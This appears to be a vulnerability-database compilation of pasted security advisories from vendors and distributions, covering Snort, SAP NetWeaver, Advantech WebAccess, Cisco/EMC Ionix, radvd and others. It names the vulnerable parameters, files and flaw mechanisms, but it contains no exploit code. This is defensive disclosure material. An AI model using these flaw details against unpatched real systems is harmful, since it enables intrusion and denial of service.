Sourcefire has learned of a remotely exploitable vulnerability in the
Snort DCE/RPC preprocessor. Sourcefire
has prepared updates for Snort open-source software to address this issue.
Mitigating Factors:
Users who have disabled the DCE/RPC preprocessor are not vulnerable.
Recommended Actions:
* Open-source Snort 2.6.1.x users are advised to upgrade to Snort
2.6.1.3 (or later) immediately.
* Open-source Snort 2.7 beta users are advised to mitigate this issue by
disabling the DCE/RPC preprocessor.
This issue will be resolved in Snort 2.7 beta 2.
Workarounds:
Snort users who cannot upgrade immediately are advised to disable the
DCE/RPC preprocessor by removing the DCE/RPC preprocessor directives
from snort.conf and restarting Snort. However, be advised that disabling
the DCE/RPC preprocessor reduces detection capabilities for attacks in
DCE/RPC traffic. After upgrading, customers should reenable the DCE/RPC
preprocessor.
Detecting Attacks Against This Vulnerability:
Sourcefire will be releasing a rule pack that provides detection for
attacks against this vulnerability.
Has Sourcefire received any reports that this vulnerability has been
exploited?
- No. Sourcefire has not received any reports that this vulnerability
has been exploited.
Acknowledgments:
Sourcefire would like to thank Neel Mehta from IBM X-Force for reporting
this issue and working with us to resolve it.
-------------------------------------------------------------------------
Take Surveys. Earn Cash. Influence the Future of IT
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_______________________________________________
Snort-announce mailing list
Snort-announce@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/snort-announce
.
Resolution
==========
All Snort users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-analyzer/snort-2.6.1.3"
References
==========
[ 1 ] CVE-2006-5276
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5276
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200703-01.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
|
|
var-201112-0297
|
Multiple cross-site scripting (XSS) vulnerabilities in the Virus Scan Interface in SAP Netweaver allow remote attackers to inject arbitrary web script or HTML via the (1) instname parameter to the VsiTestScan servlet and (2) name parameter to the VsiTestServlet servlet. The CTC service has an error when performing some verification checks and can be utilized to access user management and OS command execution functions. Inputs passed to the BAPI Explorer through partial transactions are missing prior to use and can be exploited to inject arbitrary HTML and script code that can be executed on the target user's browser when viewed maliciously. When using transaction \"sa38\", RSTXSCRP reports an error and can be exploited to inject any UNC path through the \"File Name\" field. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. TH_GREP reports an error when processing a partial SOAP request, and can inject any SHELL command with the \"<STRING>\" parameter. The SPML service allows users to perform cross-site request forgery attacks, and can log in to the user administrator context to perform arbitrary operations, such as creating arbitrary users. SAP Netweaver is prone to multiple cross-site scripting vulnerabilities, a path traversal vulnerability, an html-injection vulnerability, a cross-site request-forgery vulnerability, and an authentication-bypass vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions |
|
var-201407-0233
|
Multiple stack-based buffer overflows in Advantech WebAccess before 7.2 allow remote attackers to execute arbitrary code via a long string in the (1) ProjectName, (2) SetParameter, (3) NodeName, (4) CCDParameter, (5) SetColor, (6) AlarmImage, (7) GetParameter, (8) GetColor, (9) ServerResponse, (10) SetBaud, or (11) IPAddress parameter to an ActiveX control in (a) webvact.ocx, (b) dvs.ocx, or (c) webdact.ocx. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webdact.ocx ActiveX Control. The control does not check the length of an attacker-supplied ProjectName string before copying it into a fixed length buffer on the stack. This could allow an attacker to execute arbitrary code in the context of the browser process. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess webvact.ocx, dvs.ocx and webdact.ocx ActiveX controls fail to properly handle long-length named ProjectName, SetParameter, NodeName, CCDParameter, SetColor, AlarmImage, GetParameter, GetColor, ServerResponse, SetBaud and IPAddress parameters, and attackers can build malicious A WEB page that entice a user to access, can crash an application or execute arbitrary code. Advantech WebAccess is prone to multiple remote stack-based buffer-overflow vulnerabilities. Failed exploit attempts will likely cause a denial-of-service condition.
Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment |
|
var-201809-0087
|
WECON LeviStudio Versions 1.8.29 and 1.8.44 have multiple stack-based buffer overflow vulnerabilities that can be exploited when the application processes specially crafted project files. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Wecon LeviStudioU. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the UserMgr.xml file. When parsing the GroupList ID element, the process does not properly validate the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. WECON LeviStudio is a set of human interface programming software from WECON, China |
|
var-202411-1458
|
Cross Site Scripting vulnerability in DLink DWR 2000M 5G CPE With Wifi 6 Ax1800 and Dlink DWR 5G CPE DWR-2000M_1.34ME allows a local attacker to obtain sensitive information via the file upload feature of the VPN configuration module. D-Link Systems, Inc. of dwr-2000m Firmware has a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. D-Link DWR-2000M is a wireless router from D-Link, a Chinese company.
D-Link DWR-2000M has a cross-site scripting vulnerability. The vulnerability is caused by the lack of effective filtering and escaping of user-provided data by the application |
|
var-201109-0089
|
Multiple unspecified vulnerabilities in Cisco Unified Service Monitor before 8.6, as used in Unified Operations Manager before 8.6 and CiscoWorks LAN Management Solution 3.x and 4.x before 4.1; and multiple EMC Ionix products including Application Connectivity Monitor (Ionix ACM) 2.3 and earlier, Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) 3.2.0.2 and earlier, IP Management Suite (Ionix IP) 8.1.1.1 and earlier, and other Ionix products; allow remote attackers to execute arbitrary code via crafted packets to TCP port 9002, aka Bug IDs CSCtn42961 and CSCtn64922, related to a buffer overflow. Cisco Unified Operations Manager and CiscoWorks LAN Management Solution Used in Cisco Unified Service Monitor Contains a vulnerability that allows arbitrary code execution. The problem is Bug ID CSCtn42961 and CSCtn64922 It is a problem.Skillfully crafted by a third party TCP port 9002 Arbitrary code could be executed via packets. Authentication is not required to exploit this vulnerability.The flaw exists within the brstart.exe service which listens by default on TCP port 9002. When handling an add_dm request the process uses a user provided value to allocate a buffer then blindly copies user supplied data into a fixed-length buffer on the heap. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the casuser user. Multiple EMC Ionix applications are prone to a buffer-overflow vulnerability. Successful exploits will result in the complete compromise of affected applications. Failed exploit attempts will result in a denial-of-service condition.
The following applications are affected.
Ionix Application Connectivity Monitor (Ionix ACM) version 2.3 and prior
Ionix Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) version 3.2.0.2 and prior
Ionix IP Management Suite (Ionix IP) version 8.1.1.1 and prior
Ionix IPv6 Management Suite (Ionix IPv6) version 2.0.2 and prior
Ionix MPLS Management Suite (Ionix MPLS) version 4.0.0 and prior
Ionix Multicast Manager (Ionix MCAST) version 2.1 and prior
Ionix Network Protocol Management Suite version (Ionix NPM) 3.1 and prior
Ionix Optical Transport Management Suite version (Ionix OTM) 5.1 and prior
Ionix Server Manager (EISM) version 3.0 and prior
Ionix Service Assurance Management Suite (Ionix SAM) version 8.1.0.6 and prior
Ionix Storage Insight for Availability Suite (Ionix SIA) version 2.3.1 and prior
Ionix VoIP Availability Management Suite (Ionix VoIP AM) version 4.0.0.3 and prior.
Details
=======
CiscoWorks LAN Management Solution is an integrated suite of
management functions that simplifies the configuration,
administration, monitoring, and troubleshooting of a network. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ESA-2011-029: Buffer overflow vulnerability in multiple EMC Ionix products. EMC will communicate the fixes for all other affected products as they become available. Regularly check EMC Knowledgebase solution emc274245 for the status of these fixes.
Link to remedies:
Registered EMC Powerlink customers can download software from Powerlink. For EMC Ionix Software, navigate in Powerlink to Home > Support > Software Downloads and Licensing > Downloads E-I
Because the view is restricted based on customer agreements, you may not have permission to view certain downloads. Should you not see a software download you believe you should have access to, follow the instructions in EMC Knowledgebase solution emc116045.
Credits:
EMC would like to thank Abdul Aziz Hariri working with TippingPoint's Zero Day Initiative (http://www.zerodayinitiative.com) for reporting this issue.
For explanation of Severity Ratings, refer to EMC Knowledgebase solution emc218831.
EMC Corporation distributes EMC Security Advisories in order to bring to the attention of users of the affected EMC products important security information. EMC recommends all users determine the applicability of this information to their individual situations and take appropriate action. In no event shall EMC or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds available to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml
Note: CiscoWorks LAN Management Solution is also affected by these
vulnerabilities. The Software
Update page displays the licensing and software version.
They provides a way to continuously monitor active calls supported by
the Cisco Unified Communications System.
Both of these vulnerabilities are documented in Cisco bug ID
CSCtn42961 ( registered customers only) and have been assigned CVE ID
CVE-2011-2738.
Vulnerability Scoring Details
+----------------------------
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
* CSCtn42961 - Cisco Unified Service Monitor Remote Code Execution
CVSS Base Score - 10
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 8.3
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of these vulnerabilities could allow an
unauthenticated, remote attacker to execute arbitrary code on
affected servers.
Software Versions and Fixes
===========================
When considering software upgrades, also consult
http://www.cisco.com/go/psirt and any subsequent advisories to determine
exposure and a complete upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
Mitigations that can be deployed on Cisco devices within the network
are available in the Cisco Applied Mitigation Bulletin companion
document for this advisory, which is available at the following link:
http://www.cisco.com/warp/public/707/cisco-amb-201100914-cusm-lms.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers using Third Party Support Organizations
+------------------------------------------------
Customers whose Cisco products are provided or maintained through
prior or existing agreements with third-party support organizations,
such as Cisco Partners, authorized resellers, or service providers
should contact that support organization for guidance and assistance
with the appropriate course of action in regards to this advisory.
The effectiveness of any workaround or fix is dependent on specific
customer situations, such as product mix, network topology, traffic
behavior, and organizational mission. Due to the variety of affected
products and releases, customers should consult with their service
provider or support organization to ensure any applied workaround or
fix is the most appropriate for use in the intended network before it
is deployed.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were reported to Cisco by ZDI and discovered by
AbdulAziz Hariri.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at :
http://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+----------------------------------------+
| Revision | | Initial |
| 1.0 | 2011-September-14 | public |
| | | release |
+----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco security notices.
All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
+--------------------------------------------------------------------
Copyright 2010-2011 Cisco Systems, Inc. All rights reserved.
+--------------------------------------------------------------------
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
var-201908-0863
|
Rockwell Automation Arena Simulation Software versions 16.00.00 and earlier contain a USE AFTER FREE CWE-416. A maliciously crafted Arena file opened by an unsuspecting user may result in the application crashing or the execution of arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of DOE files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. 9502-Ax) 16.00.00 and earlier versions have resource management error vulnerabilities |
|
var-201402-0027
|
The process_ra function in the router advertisement daemon (radvd) before 1.8.2 allows remote attackers to cause a denial of service (stack-based buffer over-read and crash) via unspecified vectors. radvd is prone to the follow security vulnerabilities:
1. Multiple local privilege-escalation vulnerability.
2. A local arbitrary file-overwrite vulnerability.
3. Multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. A security vulnerability exists in the 'process_ra' function in radvd 1.8.1 and earlier. ==========================================================================
Ubuntu Security Notice USN-1257-1
November 10, 2011
radvd vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.10
- Ubuntu 10.04 LTS
Summary:
radvd could be made to crash or overwrite certain files if it received
specially crafted network traffic.
Software Description:
- radvd: Router Advertisement Daemon
Details:
Vasiliy Kulikov discovered that radvd incorrectly parsed the
ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected
releases should reduce the vulnerability to a denial of service. This issue
only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601)
Vasiliy Kulikov discovered that radvd incorrectly filtered interface names
when creating certain files.
(CVE-2011-3602)
Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604)
Vasiliy Kulikov discovered that radvd incorrectly handled delays when used
in unicast mode, which is not the default in Ubuntu. If used in unicast
mode, a remote attacker could cause radvd outages, resulting in a denial of
service. (CVE-2011-3605)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 11.10:
radvd 1:1.8-1ubuntu0.1
Ubuntu 11.04:
radvd 1:1.7-1ubuntu0.1
Ubuntu 10.10:
radvd 1:1.6-1ubuntu0.1
Ubuntu 10.04 LTS:
radvd 1:1.3-1.1ubuntu0.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-1257-1
CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605
Package Information:
https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1
. ----------------------------------------------------------------------
Secunia is hiring!
Find your next job here:
http://secunia.com/company/jobs/
----------------------------------------------------------------------
TITLE:
Gentoo update for radvd
SECUNIA ADVISORY ID:
SA46930
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/46930/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
RELEASE DATE:
2011-11-21
DISCUSS ADVISORY:
http://secunia.com/advisories/46930/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/46930/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Gentoo has issued an update for radvd.
For more information:
SA46200
SOLUTION:
Update to "net-misc/radvd-1.8.2" or later.
ORIGINAL ADVISORY:
GLSA 201111-08:
http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: radvd: Multiple vulnerabilities
Date: November 20, 2011
Bugs: #385967
ID: 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in radvd which could
potentially lead to privilege escalation, data loss, or a Denial of
Service.
Background
==========
radvd is an IPv6 router advertisement daemon for Linux and BSD.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/radvd < 1.8.2 >= 1.8.2
Description
===========
Multiple vulnerabilities have been discovered in radvd. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All radvd users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2"
References
==========
[ 1 ] CVE-2011-3601
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601
[ 2 ] CVE-2011-3602
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602
[ 3 ] CVE-2011-3603
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603
[ 4 ] CVE-2011-3604
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604
[ 5 ] CVE-2011-3605
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201111-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------------
Debian Security Advisory DSA-2323-1 security@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
October 26, 2011 http://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : radvd
Vulnerability : several
Problem type : remote
Debian-specific: no
CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605
Debian Bug : 644614
Multiple security issues were discovered by Vasiliy Kulikov in radvd, an
IPv6 Router Advertisement daemon:
CVE-2011-3602
set_interface_var() function doesn't check the interface name, which is
chosen by an unprivileged user.
CVE-2011-3604
process_ra() function lacks multiple buffer length checks which could
lead to memory reads outside the stack, causing a crash of the daemon.
CVE-2011-3605
process_rs() function calls mdelay() (a function to wait for a defined
time) unconditionnally when running in unicast-only mode. As this call
is in the main thread, that means all request processing is delayed (for
a time up to MAX_RA_DELAY_TIME, 500 ms by default).
Note: upstream and Debian default is to use anycast mode.
For the oldstable distribution (lenny), this problem has been fixed in
version 1:1.1-3.1.
For the stable distribution (squeeze), this problem has been fixed in
version 1:1.6-1.1.
For the testing distribution (wheezy), this problem has been fixed in
version 1:1.8-1.2.
For the unstable distribution (sid), this problem has been fixed in
version 1:1.8-1.2.
We recommend that you upgrade your radvd packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
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oEYAniJXFaff25pMtXzM6Ovu8zslZm7H
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-----END PGP SIGNATURE-----
|
|
var-201402-0028
|
The process_rs function in the router advertisement daemon (radvd) before 1.8.2, when UnicastOnly is enabled, allows remote attackers to cause a denial of service (temporary service hang) via a large number of ND_ROUTER_SOLICIT requests. radvd is prone to the follow security vulnerabilities:
1. Multiple local privilege-escalation vulnerability.
2. A local arbitrary file-overwrite vulnerability.
3. Multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. An input validation vulnerability exists in the 'process_rs' function in radvd 1.8.1 and earlier. ==========================================================================
Ubuntu Security Notice USN-1257-1
November 10, 2011
radvd vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.10
- Ubuntu 10.04 LTS
Summary:
radvd could be made to crash or overwrite certain files if it received
specially crafted network traffic.
Software Description:
- radvd: Router Advertisement Daemon
Details:
Vasiliy Kulikov discovered that radvd incorrectly parsed the
ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected
releases should reduce the vulnerability to a denial of service. This issue
only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601)
Vasiliy Kulikov discovered that radvd incorrectly filtered interface names
when creating certain files.
(CVE-2011-3602)
Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604)
Vasiliy Kulikov discovered that radvd incorrectly handled delays when used
in unicast mode, which is not the default in Ubuntu. (CVE-2011-3605)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 11.10:
radvd 1:1.8-1ubuntu0.1
Ubuntu 11.04:
radvd 1:1.7-1ubuntu0.1
Ubuntu 10.10:
radvd 1:1.6-1ubuntu0.1
Ubuntu 10.04 LTS:
radvd 1:1.3-1.1ubuntu0.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-1257-1
CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605
Package Information:
https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1
. ----------------------------------------------------------------------
Secunia is hiring!
Find your next job here:
http://secunia.com/company/jobs/
----------------------------------------------------------------------
TITLE:
Gentoo update for radvd
SECUNIA ADVISORY ID:
SA46930
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/46930/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
RELEASE DATE:
2011-11-21
DISCUSS ADVISORY:
http://secunia.com/advisories/46930/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/46930/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Gentoo has issued an update for radvd.
For more information:
SA46200
SOLUTION:
Update to "net-misc/radvd-1.8.2" or later.
ORIGINAL ADVISORY:
GLSA 201111-08:
http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: radvd: Multiple vulnerabilities
Date: November 20, 2011
Bugs: #385967
ID: 201111-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in radvd which could
potentially lead to privilege escalation, data loss, or a Denial of
Service.
Background
==========
radvd is an IPv6 router advertisement daemon for Linux and BSD.
Affected packages
=================
